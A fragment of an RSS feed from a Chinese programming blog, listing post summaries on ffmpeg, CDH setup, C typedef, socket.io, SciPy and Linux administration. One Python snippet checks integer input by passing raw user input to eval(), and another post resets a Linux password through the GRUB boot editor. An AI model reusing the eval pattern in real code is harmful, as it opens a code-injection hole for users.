      <pubDate>Fri, 19 Apr 2019 14:40:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bd99a85dbf9f5723446f64aa450eb14/</guid>
      <description> ffmpeg h265(flv封装) 转码成 h264 (flv封装)&#xA;ffmpeg -y -vcodec hevc -i glw265.flv -acodec copy -vcodec libx264 glw264.flv 指定输出码率是2Mbps&#xA;ffmpeg -y -vcodec hevc -i glw265.flv -acodec copy -vcodec libx264 -vb 2048000 glw264.flv 匀速转码命令：&#xA;-re&#xA;ffmpeg -y -re -i glw264.flv -acodec copy -vcodec libx264 -vb 2048k glw264_transcode.flv </description>
    </item>
    <item>
      <title>Python 使用input保证输入的必须是整数</title>
      <link>https://bchobby.github.io/posts/a9dbce0f4c6c74ac43f2a357efc3465e/</link>
      <pubDate>Thu, 18 Apr 2019 21:02:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9dbce0f4c6c74ac43f2a357efc3465e/</guid>
      <description> 在Python3.x中input()的返回值是‘str’类型，采用eval（）函数保证输入的持续为整数&#xA;关于eval（）函数的理解，可以参考博客：https://blog.csdn.net/ChaoFeiLi/article/details/89387782&#xA;def inputInt(content=&#39;请输入整数：&#39;): while True: data = input(content) try: inputData = eval(data) if type(inputData) == int: # break return inputData except: pass if __name__ == &#34;__main__&#34;: print(inputInt()) </description>
    </item>
    <item>
      <title>CentOS 7.4 安装 CDH5.14.4 详细过程</title>
      <link>https://bchobby.github.io/posts/db5980cef3dd24f1de9d501ab34eb56a/</link>
      <pubDate>Thu, 18 Apr 2019 16:14:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db5980cef3dd24f1de9d501ab34eb56a/</guid>
      <description>环境及软件说明&#xA;环境说明&#xA;本人PC虚拟机VM10，里面安装了3台CentOS7.4 .集群环境规划如下：&#xA;CPU IP 主机名 角色 内存&#xA;2核心2线程 192.168.1.31 cdh1 CM server,agent 8G&#xA;2核心2线程 192.168.1.32 cdh2 agent 2G&#xA;2核心2线程 192.168.1.33 cdh3 agent 2G&#xA;我的电脑16G内存，只能上面这样规划了，最后CDH是能安装成功的，只不过没法用，资源太少了。&#xA;所需软件及说明&#xA;1：JDK1.8 2：Cloudera Manager cloudera-manager-centos7-cm5.14.0_x86_64.tar.gz 下载地址： https://archive.cloudera.com/cm5/cm/5/&#xA;3：CDH CDH-5.14.4-1.cdh5.14.4.p0.3-el7.parcel.sha1，CDH-5.14.4-1.cdh5.14.4.p0.3-el7.parcel， manifest.json 下载地址：http://archive.cloudera.com/cdh5/parcels/5.14/&#xA;这里要注意CM和CDH，大版本应该要一致，比如CM为5.14，CDH也是5.14，至于如果不一致是否会出问题，比如CM为5.13，CDH为5.14，这个需要由大神来测试了&#xA;4：Mysql mysql-5.6.26-linux-glibc2.5-x86_64.tar.gz&#xA;5：.数据库驱动 mysql-connector-java-xxx.jar&#xA;6：mysql-community-libs-compat-5.7.23-1.el7.x86_64.rpm&#xA;说明：这是MySQL的一个组件的安装包，不是核心组件，不安装也不影响MySQL使用。但是如果缺少这个包，后面hue安装的时候很可能报错，所以先下载下来备用。&#xA;以上这些软件，我都已经下载到百度云盘了，链接：https://pan.baidu.com/s/1suG4AxqpAd2Bsry0E6iwjA 提取码：nb0p 安装前的主机准备&#xA;一.安装JDK。（每台主机都要做）&#xA;rpm -e --nodeps java-1.7.0-openjdk-headless-1.7.0.141-2.6.10.5.el7.x86_64&#xA;rpm -e --nodeps java-1.7.0-openjdk-1.7.0.141-2.6.10.5.el7.x86_64&#xA;rpm -e --nodeps java-1.8.0-openjdk-headless-1.8.0.131-11.b12.el7.x86_64&#xA;rpm -e --nodeps java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64&#xA;tar -zxvf jdk-8u151-linux-x64.tar.gz&#xA;mkdir -p /usr/java</description>
    </item>
    <item>
      <title>typedef关键字</title>
      <link>https://bchobby.github.io/posts/99553da7999f9a7648281dafcfd43f59/</link>
      <pubDate>Thu, 18 Apr 2019 14:14:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99553da7999f9a7648281dafcfd43f59/</guid>
      <description>typedef是C语言的一个关键字，我们实际使用的时候可以理解成是一个绑定器，把若干标识符绑定在一起形成一个新类型，它是给编译器看的，编译器看到这个就直接将其当做一个新的类型看待了。当然了，如果有些人写的编译器并不是这么看待的，那就只能说明他对于C语言标准还没有彻底整明白。&#xA;1. typedef unsigned char u8; //u8就代表unsigned char类型了&#xA;举例：&#xA;u8 var1;//定义了一个名为var1的unsigned char型变量。&#xA;2. typedef unsigned int u16; //u16就代表unsigned int类型了&#xA;举例：&#xA;u16 var1;//定义了一个名为var1的unsigned int型变量。&#xA;3. typedef与define是不同的，因为typedef是给编译器看的，而define是给预编译器看的，编译器遇到typedef时就会按照一个新类型来处理一件事，而预编译器遇到define时仅仅只是替换。&#xA;#define u8Ptr unsigned char * //这里在预编译器眼里u8Ptr仅仅只是为了编程方便临时文本替换成unsigned char *&#xA;举例：u8Ptr p1,p2; //此时p1是指针类型变量，而p2是unsigned char型变量，这里足以数码u8Ptr仅仅只是文本替换。&#xA;思考：如果上面写成 #define U8PTR （unsigned char *）的形式，结果会怎么样？&#xA;typedef unsigned char * u8Ptr; //u8Ptr就代表unsigned char *了，编译器把u8Ptr当做一个新类型，它就是unsigned char *&#xA;举例：u8Ptr p1,p2; //此时p1和p2都是指针变量，因此这足以说明u8Ptr是一个新类型，至少在编译器眼里就是这样的。&#xA;4. 思考下面代码是否有问题：&#xA;typedef char * PSTR;&#xA;char string[2] = &#34;xy&#34;;&#xA;const char * ptr1=string;</description>
    </item>
    <item>
      <title>VS2017&#43;Qt5.12.0&#43;PCL1.9.1开发环境配置过程详细记录</title>
      <link>https://bchobby.github.io/posts/1b6a89396cb0706cc85ec7e04f559a6f/</link>
      <pubDate>Thu, 18 Apr 2019 10:28:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b6a89396cb0706cc85ec7e04f559a6f/</guid>
      <description>VS2017+Qt5.12.0+PCL1.9.1开发环境配置过程详细记录 文章目录 VS2017+Qt5.12.0+PCL1.9.1开发环境配置过程详细记录系统环境说明VS2017安装Qt5.12.0安装在VS2017上实现搭建Qt环境PCL1.9.1安装1.下载2.安装 重新安装VTK为其添加Qt支持1.下载对应版本的VTK源码 2.下载安装Cmake3.利用CMake生成VS工程2.在VS中编译VTK VS2017+Qt5.12.0配置PCL1.9.11.系统环境变量配置2.配置相关项目属性添加包含目录添加库目录添加预处理器定义设置SDL检查添加附加依赖项 PCL官方例程 系统环境说明 Windows 10 64位&#xA;VS2017安装 Visual Studio 2017采用Community（社区）版本，可前往微软官网下载：Visual Studio官方下载地址，可根据个人喜好选择安装路径，本人的安装路径为D:\ProgramFile\VS2017，仅供参考。&#xA;Qt5.12.0安装 Qt5.12.0可前往Qt官网下载Qt官方下载地址，选择的是Open Source版本。安装路径可依个人喜好选择，本人的安装路径为C:\Qt\Qt5.12.0，仅供参考。&#xA;在VS2017上实现搭建Qt环境 这需要在VS中，通过“工具-&amp;gt;扩展和更新-&amp;gt;联机-&amp;gt;Qt Visual Studio Tools”，安装Qt Visual Studio Tools，并进行相关配置，网上有大量相关教程，此处不再赘述。&#xA;PCL1.9.1安装 1.下载 Point Cloud Library （PCL）可以在其Github网站上的发布页获取Windows下的安装包，链接如下：https://github.com/PointCloudLibrary/pcl/releases/tag/pcl-1.9.1&#xA;根据自己的编译器环境下载win64或者win32版本，本人下载的是64位版本的安装文件，即PCL-1.9.1-AllInOne-msvc2017-win64.exe和pcl-1.9.1-pdb-msvc2017-win64.zip两个文件。GitHub下载页面如下面两幅图所示：&#xA;2.安装 首先双击文件“PCL-1.9.0-AllInOne-msvc2017-win64.exe”进行安装，注意下面这一步建议选择第二个“Add PCL to the system PATH for all users”，它可以自动添加系统路径，不过也可以安装结束后自行添加。&#xA;选择安装路径时，如果选择默认文件夹“C:\Program Files\PCL 1.9.1”，则在VS项目属性中可以直接借用本人采用的项目属性配置文件，如果选择其他路径，也可以根据后面的讲解自行修改。&#xA;后面的步骤建议全部采用默认设置。安装快结束时会弹出安装第三方库OpenNI的提示，这里也可以全部采用默认安装设置，这样后续的VS项目属性配置中可以借用本人采用的属性配置文件，本人的OpenNI安装路径如下：C:\Program Files\OpenNI2。&#xA;OpenNI安装完之后点击确定后，PCL也就很快安装成功了。然后需要解压文件“pcl-1.9.1-pdb-msvc2017-win64.zip”，将解压得到的文件夹中的多个pdb文件（程序数据库文件）添加到PCL安装目录，如：C:\Program Files\PCL 1.9.1\bin。&#xA;PCL的安装到此结束。&#xA;重新安装VTK为其添加Qt支持 要想使用Qt为PCL项目制作UI，需要让Qt能够调用VTK生成的QVTKWidget组件，而“QVTKWidget”只有在VTK编译时添加了Qt之后才会生成，“PCL-1.9.1-AllInOne-msvc2017-win64.exe”安装包里的VTK是没有编译Qt支持的。要解决这个问题，可以在本地利用CMake重新编译VTK，并为其添加Qt支持。这一过程需要本地已经安装好Qt。&#xA;1.下载对应版本的VTK源码 PCL 1.9.1版本对应的VTK版本为8.1，VTK 8.1.0版本的源码可以通过其GitLab主页进行下载，https://gitlab.kitware.com/vtk/vtk/tree/v8.1.0，下载页面如下所示，选择“Download zip”,即可得到得到源代码压缩文件“vtk-v8.1.0.zip”。&#xA;在合适的目录建立3个文件夹，分别命名为：&#xA;1.vtk_SRC:将VTK的源码存放在此处，作为CMake的代码源路径&#xA;2.vtk_build：CMake创建工程的目标路径&#xA;3.vtk_install：编译后版本的发布路径&#xA;本人将上述3个目录建立在路径“D:\VTK_8_1_0”下，其中vtk_SRC目录如下图所示：&#xA;如果采用同样的目录进行vtk的安装，则在VS项目属性中可以直接借用本人采用的属性配置文件，如果选择其他路径，也可以根据后面的讲解自行修改。&#xA;2.下载安装Cmake 可以在CMake官网下载合适的Windows安装程序，对于64位Windows系统，可以进行如下选择：&#xA;按照默认设置安装即可。</description>
    </item>
    <item>
      <title>centos7设置服务为开机自启动（以crond.serivce为例）</title>
      <link>https://bchobby.github.io/posts/fe5b9ff3ad8240394e806b52c5507549/</link>
      <pubDate>Thu, 18 Apr 2019 10:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe5b9ff3ad8240394e806b52c5507549/</guid>
      <description>本文转自：https://blog.51cto.com/mrxiong2017/2084790 一、设置crond.serivice服务为开机自启动 步骤1：查看crond.serivce服务的自启动状态&#xA;[root@localhost ~]# systemctl is-enabled crond.service&#xA;disabled&#xA;此时crond.serivce的自启动状态为disabled&#xA;步骤2：开启crond.serivce服务自启动&#xA;[root@localhost ~]# systemctl enable crond.service&#xA;[root@localhost ~]# systemctl is-enabled crond.service&#xA;enabled&#xA;列出所有的启动文件：&#xA;systemctl list-unit-files&#xA;列出所有状态为enable的启动文件&#xA;systemctl list-unit-files | grep enable&#xA;关闭crond.serivce的自启动状态&#xA;systemctl disable crond.service&#xA;二、开启和关闭crond.service服务 步骤1：查看crond.service的启动状态&#xA;systemctl status crond.service&#xA;开启crond.service服务命令&#xA;systemctl start crond.service&#xA;停止crond.service服务命令&#xA;systemctl stop crond.service&#xA;转载于:https://www.cnblogs.com/yadongliang/p/10727981.html</description>
    </item>
    <item>
      <title>如何修复Windows系统上出现的无法访问Internet错误问题</title>
      <link>https://bchobby.github.io/posts/edfb6414b03f32697adce2c0494bc3d1/</link>
      <pubDate>Thu, 18 Apr 2019 10:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edfb6414b03f32697adce2c0494bc3d1/</guid>
      <description>让我们先快速概述一下步骤，然后我们将详细介绍每个步骤：&#xA;确认其他设备无法连接&#xA;重新启动电脑&#xA;重新启动调制解调器和路由器&#xA;运行Windows网络疑难解答&#xA;检查您的IP地址设置&#xA;检查您的ISP的状态&#xA;尝试一些命令提示符命令&#xA;禁用安全软件&#xA;更新无线驱动程序&#xA;重置您的网络&#xA;这个错误是什么意思？&#xA;在我们继续之前，我们应该在您看到此错误时解释网络上究竟发生了什么。为此，有必要解释家庭网络的一些基础知识。&#xA;当您使用笔记本电脑等无线设备时，它会连接到您的路由器。路由器是一种处理家庭设备之间连接的设备。您的路由器插入调制解调器，这是一种桥接家庭网络和互联网流量的设备。&#xA;当您在计算机上看到已连接，无法访问互联网 或类似错误时，表示您的计算机已正确连接到路由器但无法连接到互联网。相反，如果您看到未连接，没有互联网或没有互联网连接消息，则表示您的计算机根本没有连接到路由器。&#xA;步骤1：确认其他设备无法连接&#xA;在进行任何故障排除之前，确定是否只有您的PC出现问题非常重要。抓住您的手机或同样位于Wi-Fi上的其他计算机，看看它是否已连接。在Android上，您会在Wi-Fi符号上看到一个X图标，并注意到您已连接到移动网络。iOS用户可以访问“设置”&amp;gt;“Wi-Fi”并检查“ 无Internet连接”消息。&#xA;如果您的计算机是唯一无法连接的设备，则可能是由于该设备上的配置设置错误。但如果您无法在线获取任何信息，则问题在于您的网络设备，因此您可以跳过下面的一些仅限PC的步骤。&#xA;在继续操作之前，如果问题影响到您的所有设备，则应执行快速测试。断开将调制解调器连接到路由器的以太网电缆，并使用它将PC连接到调制解调器。如果您可以使用此设置联机，则问题出在您的路由器上。如果您继续执行以下故障排除而无法解决问题，则路由器可能存在故障。&#xA;第2步：重新启动您的PC&#xA;与许多问题一样，重新启动计算机是您应该尝试的第一个故障排除步骤。如果你很幸运，你可以通过重新启动来解决一些暂时的故障。&#xA;第3步：重新启动调制解调器和路由器&#xA;由于大多数网络问题涉及您的调制解调器和/或路由器，因此重新启动它们是有道理的 但是，不要像使用计算机那样通过界面重新启动它们。只需从两个设备上拔下电源插头，然后将其拔下一两分钟。&#xA;首先插入调制解调器，让它启动，然后再次插入路由器。等几分钟让他们整理出来。在执行此操作时，请确认您的路由器和调制解调器是否正常工作。如果您在其中一台设备上看不到任何指示灯，则可能是硬件坏了。&#xA;请注意，您正在重新启动，而不是重置设备。重置意味着将设备恢复为出厂默认设置 - 您还不需要这样做！&#xA;第4步：运行Windows网络疑难解答&#xA;如果您的Windows PC出现问题，则计算机的网络设置出现问题。虽然内置的Windows疑难解答通常无法解决问题，但在继续之前值得一试。&#xA;要访问网络疑难解答，请访问设置&amp;gt;网络和互联网&amp;gt;状态。选择网络疑难解答，然后按照步骤查看Windows是否可以解决问题。在Windows 7上，您可以在“ 开始”&amp;gt;“控制面板”&amp;gt;“故障排除”&amp;gt;“网络和Internet”&amp;gt;“网络连接”中找到相同的工具。&#xA;第5步：检查您的IP地址设置&#xA;接下来，值得检查以确保您的计算机具有有效的IP地址。在正常情况下的大多数家庭网络中，路由器在连接时向设备分发地址。如果您的计算机的IP设置不正确，则可能导致您遇到的问题。&#xA;在Windows 10上，右键单击系统托盘中的网络图标，然后选择“ 打开网络和Internet设置”。单击“ 更改适配器选项”条目，然后双击您正在使用的连接。&#xA;第6步：检查您的ISP的状态&#xA;此时，如果您无法在线获取任何设备，则值得检查您的互联网服务提供商（ISP）是否存在问题。虽然这种情况很少见，但这可能就是您无法上网的原因。&#xA;使用手机的数据连接查看您所在地区提供服务的人是否报告过停机。&#xA;第7步：尝试几个命令提示命令&#xA;Windows 在命令提示符中具有多个网络命令。你应该尝试其中一些，看看他们是否能解决你的问题。在“开始”菜单中键入cmd，然后右键单击它并选择“以管理员身份运行”以打开提升的“ 命令提示符”窗口。&#xA;要重置Windows保持访问Internet的某些文件，请使用以下两个命令：&#xA;netsh winsock resetnetsh int ip reset&#xA;如果这不起作用，请尝试释放计算机的IP地址，并使用这两个命令逐个获取一个新的：&#xA;ipconfig /releaseipconfig /renew&#xA;最后，使用以下命令刷新计算机的DNS设置：&#xA;ipconfig /flushdns&#xA;此时再次重启PC并没有什么坏处。如果您仍无法上网，还可以尝试其他一些步骤。&#xA;第8步：禁用安全软件&#xA;另一个不常见但似乎有道理的情况是，您的PC上有一些安全软件阻止访问互联网。&#xA;禁用您可能已安装的任何第三方防病毒应用程序，并查看您的连接是否恢复。虽然我们讨论的是安全问题，但值得对恶意软件进行扫描。恶意程序可能会破坏您的互联网连接。&#xA;第9步：更新无线驱动程序&#xA;通常，您不需要更新计算机驱动程序，因为这样做通常会导致更多问题而不是它的价值。但是，由于您仍然遇到问题，因此应检查驱动程序更新。</description>
    </item>
    <item>
      <title>禁用输入框input</title>
      <link>https://bchobby.github.io/posts/0528b4b6b2b5bc2c41db93abed2835c9/</link>
      <pubDate>Wed, 17 Apr 2019 21:50:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0528b4b6b2b5bc2c41db93abed2835c9/</guid>
      <description>开发工具与关键技术：Visual Studio 2015&#xA;作者：Mr_恺&#xA;撰写时间：2019.04.12&#xA;如果你想要禁用一个输入框input，只需要简单添加disableo属性，这不仅会禁用输入框，还会改变输入框的样式以及当鼠标的指针悬停在元素上时鼠标指针的样式&#xA;在Asp.Net Mvc中,新增或修改时，大多算都是通过页面获取值，然后通过ajaxSubmit方法提交表单到控制器中进行数据的新增保存或修改保存。&#xA;但是我们在提交的模态框表单中的某一个input输入框加上一个disableo属性，&#xA;则打开出来的新增或修改的模态框，编号这个input输入框是灰色的，是禁用的状态：&#xA;我们在新增保存或修改保存时，获取不到给加上disableo属性的input的值，是空的，因为它已经给禁用了：&#xA;在页面都获取不到值，连判断的语句也过不去：&#xA;现在我把判断语句去掉，演示给我们看看，在页面都获取不到值，则在通过ajaxSubmit方法提交表单到控制器也获取不到值，EmployeeNumber肯定为空：&#xA;这样的话肯定新增保存或修改保存是失败的，&#xA;解决方法：&#xA;1、 把disableo属性去掉&#xA;2、 在控制器自行写一个编号排序的方法，然后返回视图显示出来，但是页面一样是无法传送到控制器，要在控制器查询出来编号，把在控制器自行写一个编号排序的方法赋值给它。</description>
    </item>
    <item>
      <title>Linux下安装完MySQL之后，include文件夹下没有包含mysql.h头文件的解决办法</title>
      <link>https://bchobby.github.io/posts/78fc6e530382c524f0adf2c5976e31d2/</link>
      <pubDate>Wed, 17 Apr 2019 01:01:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78fc6e530382c524f0adf2c5976e31d2/</guid>
      <description>无论用源码安装的方式和宝塔安装MySQL，会出现一些必要的头文件在安装目录下存在，但是没有在include 的mysql目录下。&#xA;其实解决办法很简单。安装libmysqlclient-dev&#xA;执行安装命令&#xA;sudo apt-get install libmysqlclient-dev 安装完之后，重新进入mysql目录下就有相应的头文件了，如果是用远程调试工具的话，需要重新开启一下项目刷新一下，</description>
    </item>
    <item>
      <title>scoket.io实现群聊、私聊</title>
      <link>https://bchobby.github.io/posts/b87eb8af7558c73e5eaed7abc79adf9d/</link>
      <pubDate>Tue, 16 Apr 2019 22:35:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b87eb8af7558c73e5eaed7abc79adf9d/</guid>
      <description>1、什么是scoketio? 由于浏览器端对HTML5的支持不一，为了兼容所有浏览器，提供卓越的实时的用户体验，并且为程序员提供客户端与服务端一致的编程体验，于是socket.io诞生。&#xA;Socket.IO包括了客户端的js和服务器端的nodejs，它的目标是构建可以在不同浏览器和移动设备上使用的实时应用。&#xA;2、本质 Socket.io将Websocket和轮询 （Polling）机制以及其它的实时通信方式封装成了通用的接口，并且在服务端实现了这些实时机制的相应代码。也就是说，Websocket仅仅是 Socket.io实现实时通信的一个子集。&#xA;它会自动根据浏览器从WebSocket、AJAX长轮询、Iframe流等等各种方式中选择最佳的方式来实现网络实时应用，非常方便和人性化，而且支持的浏览器最低达IE5.5，应该可以满足绝大部分需求了。&#xA;3、socket的组成 Socket.IO 由两部分组成：&#xA;1．一个服务端用于集成 (或挂载) 到 Node.JS HTTP 服务器： socket.io&#xA;2．一个加载到浏览器中的客户端： socket.io-client&#xA;3．开发环境下， socket.io 会自动提供客户端。&#xA;4、socket的基本使用 提示：由于开发环境下， socket.io 会自动提供客户端。所以我们只需要安装一个socket.io模块即可。&#xA;①　新建一个package.json文件&#xA;npm init --yes&#xA;②　安装express与socket.io模块&#xA;cnpm i express socket.io -S&#xA;5、群聊实现 后端代码&#xA;let app = require(&#34;express&#34;)();// 获取express模块实例 let http = require(&#39;http&#39;).Server(app);// 将express模块实例作为回调构建http模块实例 let io = require(&#39;socket.io&#39;)(http);// 将http模块实例作为回调构建socket.io模块实例 // 使用http模块开启后端服务（原生node+express的结合） http.listen(3000, function () { console.log(&#39;listening on http://127.0.0.1:3000&#39;) }) //设置路由，构建后端接口 app.get(&#39;/&#39;, function (req, res) { res.</description>
    </item>
    <item>
      <title>VMware Ubuntu虚拟机忘记密码</title>
      <link>https://bchobby.github.io/posts/d4b6d16a37b428aae18dc01dcf4a1050/</link>
      <pubDate>Tue, 16 Apr 2019 10:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4b6d16a37b428aae18dc01dcf4a1050/</guid>
      <description>前言：&#xA;在VMware运行Ubuntu虚拟机时，开机之后忘记密码怎么办？&#xA;环境：Ubuntu版本：ubuntu-16.04.6-server-amd64；VMware版本：14.1.1 build-7528167&#xA;解决办法：&#xA;第一种方式：&#xA;1，重启Ubuntu虚拟机，长按shift（要选中虚拟机哦），进入如下界面&#xA;2，上下箭头选择Advanced options for Ubuntu ，enter键进入如下界面&#xA;3，选择第二个高级模式（带有recovery mode） ，enter进入Recovery Menu界面；进入之后如下图所示&#xA;4，选择上图中的root Drop to root shell prompt 也就是获取root权限，进入选项,输入root（linux系统创建的时候默认创建的超级用户名：root）&#xA;5， 敲入：passwd &#34;用户名&#34;之后再敲两次密码就可以修改用户名密码了。如下是我修改root账户密码&#xA;6，按ctrl+alt+del重启系统，即可使用刚刚设置的密码。 第二种方式&#xA;如果上面的方式不能修改root密码，或者出现其他问题，可以参考以下方式；&#xA;1，通过第一种方式进入步骤2后，输入e，进入编辑启动项模式；（提示信息还有输入c 进入命令行）&#xA;2， 输入e健之后&#xA;3， 通过上下左右键移动光标，找到linux /boot/....... ro recovery nomodeset ...所在的行，如下&#xA;4， 删除蓝框的recovery nomodeset，再将这一行的后面输入quiet splash rw init=/bin/bash&#xA;5，根据提示按F10或者Ctrl + x重启进入修改密码页面，如下图： 6，输入passwd &#34;用户名&#34; ，用户名可是root，也可以是其他账户名；回车，根据提示输入两次新密码就可完成修改；如下图说明修改成功；注意Linux系统输入密码的时候不显示；&#xA;异常：&#xA;如果出现如下图说明，没有修改成功&#xA;需要限执行：mount -o rw,remount / 命令后再重复上面步骤6即可；&#xA;如果对您有所帮助的话&#xA;不妨加个关注，点个赞哈，您的每个小小举动都是对我莫大的支持！如果能一键三连，感激不尽！</description>
    </item>
    <item>
      <title>css 上传图片</title>
      <link>https://bchobby.github.io/posts/736ee38a3598fd538acd334130a17e89/</link>
      <pubDate>Tue, 16 Apr 2019 08:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/736ee38a3598fd538acd334130a17e89/</guid>
      <description>&amp;lt;li class=&#34;licence&#34;&amp;gt; &amp;lt;span class=&#34;type_key type_img_key&#34;&amp;gt; 证件照片: &amp;lt;/span&amp;gt; &amp;lt;div class=&#34;type_img&#34;&amp;gt; 营业执照 &amp;lt;input type=&#34;file&#34; id=&#34;subImg&#34; onchange=&#34;selectImage(this)&#34;&amp;gt; &amp;lt;div class=&#34;img&#34;&amp;gt;&amp;lt;img src=&#34;&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;label for=&#34;subImg&#34; class=&#34;sub_img&#34;&amp;gt; 上传图片 &amp;lt;/label&amp;gt; &amp;lt;/li&amp;gt; .licence{ @include clear; width: 100%; padding-bottom: 10px; .type_img{ @include whl(198px,126px); font-size: 14px; color: #333333; text-align: center; padding:0; position: relative; input[type=&#34;file&#34;]{ position: absolute; width:100%; top:0;left: 0;right: 0;bottom: 0; margin: auto; opacity: 0; z-index: 9; cursor: pointer; } .img{ position: absolute; top: 0; left: 0; bottom: 0; right: 0; z-index: 4; padding:5px; } &amp;amp;:after{ display: none; content: &#34;</description>
    </item>
    <item>
      <title>SciPy中的optimize.minimize实现受限优化问题</title>
      <link>https://bchobby.github.io/posts/d61149ac181fe9371eab6a0e9ae7fb40/</link>
      <pubDate>Mon, 15 Apr 2019 18:21:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d61149ac181fe9371eab6a0e9ae7fb40/</guid>
      <description>问题描述：有一批样本x，每个样本都有几个固定的标签，如（男，24岁，上海），需要从中抽取一批样本，使样本总的标签比例满足分布P(x)，如（男:女=49%:51%、20岁:30岁=9%:11%、..........）&#xA;采用KL-散度作为优化目标函数。&#xA;KL-散度又叫相对熵&#xA;KL-散度在机器学习中，P用来表示样本的真实分布，比如[1,0,0]表示当前样本属于第一类。Q用来表示模型所预测的分布，比如[0.7,0.2,0.1] KL-散度直观的理解就是如果用P来描述样本，那么就非常完美。而用Q来描述样本，虽然可以大致描述，但是不是那么的完美，信息量不足，需要额外的一些“信息增量”才能达到和P一样完美的描述。如果我们的Q通过反复训练，也能完美的描述样本，那么就不再需要额外的“信息增量”，Q等价于P。&#xA;公式：&#xA;使用SciPy中的optimize.minimize来进行优化。&#xA;def minimize(fun, x0, args=(), method=None, jac=None, hess=None, hessp=None, bounds=None, constraints=(), tol=None, callback=None, options=None): 几个重要的参数：&#xA;fun:目标函数（he objective function to be minimized）；&#xA;x0:参数初始值（Initial guess. Array of real elements of size (n,)）；&#xA;bounds:参数取值范围限制（Bounds on variables for L-BFGS-B, TNC, SLSQP and trust-constr methods.）&#xA;constraints:约束函数（Constraints definition (only for COBYLA, SLSQP and trust-constr)&#xA;Constraints for COBYLA, SLSQP are defined as a list of dictionaries. Each dictionary with fields: type : str Constraint type: &#39;eq&#39; for equality, &#39;ineq&#39; for inequality.</description>
    </item>
    <item>
      <title>力扣算法题—076最小覆盖子串</title>
      <link>https://bchobby.github.io/posts/9b36687b5a1ec2509d8158184bdfdf23/</link>
      <pubDate>Mon, 15 Apr 2019 17:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b36687b5a1ec2509d8158184bdfdf23/</guid>
      <description>给定一个字符串 S 和一个字符串 T，请在 S 中找出包含 T 所有字母的最小子串。&#xA;示例：&#xA;输入: S = &#34;ADOBECODEBANC&#34;, T = &#34;ABC&#34; 输出: &#34;BANC&#34; 说明：&#xA;如果 S 中不存这样的子串，则返回空字符串 &#34;&#34;。如果 S 中存在这样的子串，我们保证它是唯一的答案。 1 //使用滑动窗口 2 //我们最开始先扫描一遍T，把对应的字符及其出现的次数存到 HashMap 中。 3 // 4 //- 然后开始遍历S，就把遍历到的字母对应的 HashMap 中的 value 减一，如果减1后仍大于等于0，cnt 自增1。 5 // 6 //- 如果 cnt 等于T串长度时，开始循环，纪录一个字串并更新最小字串值。然后将子窗口的左边界向右移，如果某个移除掉的字母是T串中不可缺少的字母，那么 cnt 自减1，表示此时T串并没有完全匹配。 7 // 8 //解法一： 9 10 class Solution { 11 public: 12 string minWindow(string s, string t) { 13 string res = &#34;</description>
    </item>
    <item>
      <title>左移运算符的用法</title>
      <link>https://bchobby.github.io/posts/c198ff6554d7e21773d4abf5728420e7/</link>
      <pubDate>Mon, 15 Apr 2019 14:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c198ff6554d7e21773d4abf5728420e7/</guid>
      <description>一. &amp;lt;&amp;lt; 是左移运算符&#xA;二. 1&amp;lt;&amp;lt;5就是1左移5位，右边以0填满，1&amp;lt;&amp;lt;5 = 100000&#xA;三. 需注意：这个10000是二进制，100000-1 = 11111是二进制的减法</description>
    </item>
    <item>
      <title>python list 中 remove 的骚操作/易错点</title>
      <link>https://bchobby.github.io/posts/4fc2108fe627d99f779cd13d819f3ad5/</link>
      <pubDate>Sun, 14 Apr 2019 14:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fc2108fe627d99f779cd13d819f3ad5/</guid>
      <description>在过去的某一天(2019.3.19)，有个学弟问了一个关于python list中的一个问题：&#xA;比如我们已知一个列表 [3,4,5,6,5,4,3] 我们想删除第一个为3的元素。 我们尝试了如下几种方式：&#xA;In [1]: print [3,4,5,6,5,4,3].remove(3) None In [2]: list = [3,4,5,6,5,4,3] In [3]: print list.remove(3) None In [4]: list.remove(3) In [5]: print list [4, 5, 6, 5, 4] 结果如下：&#xA;为什么会有上述的结果呢？&#xA;list.remove(3) 会默认删除第一个为3的元素，直接通过 print 打印的是 remove 函数的默认的返回值，而 remove 函数默认有个初始值为 None ，你需要先执行覆盖的命令，再去打印。&#xA;理解的一个难点就是 函数执行的先后顺序 ，这一点可能很多朋友会忽略的一个问题，就像自动贩卖机一样，你得要先投币，系统确认收款后再让你指定的物品掉落，从而完成这样一笔交易。&#xA;想要得到 被删除指定元素后的列表 也是如此，你得要先删除，再去打印出来，程序设计的思路亦或若此。&#xA;转载于:https://www.cnblogs.com/ECJTUACM-873284962/p/10705122.html</description>
    </item>
    <item>
      <title>解决全局的jackson日期转换和解析</title>
      <link>https://bchobby.github.io/posts/42a5f8f220ef0dbfd2f2098b0f70d957/</link>
      <pubDate>Sun, 14 Apr 2019 01:05:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42a5f8f220ef0dbfd2f2098b0f70d957/</guid>
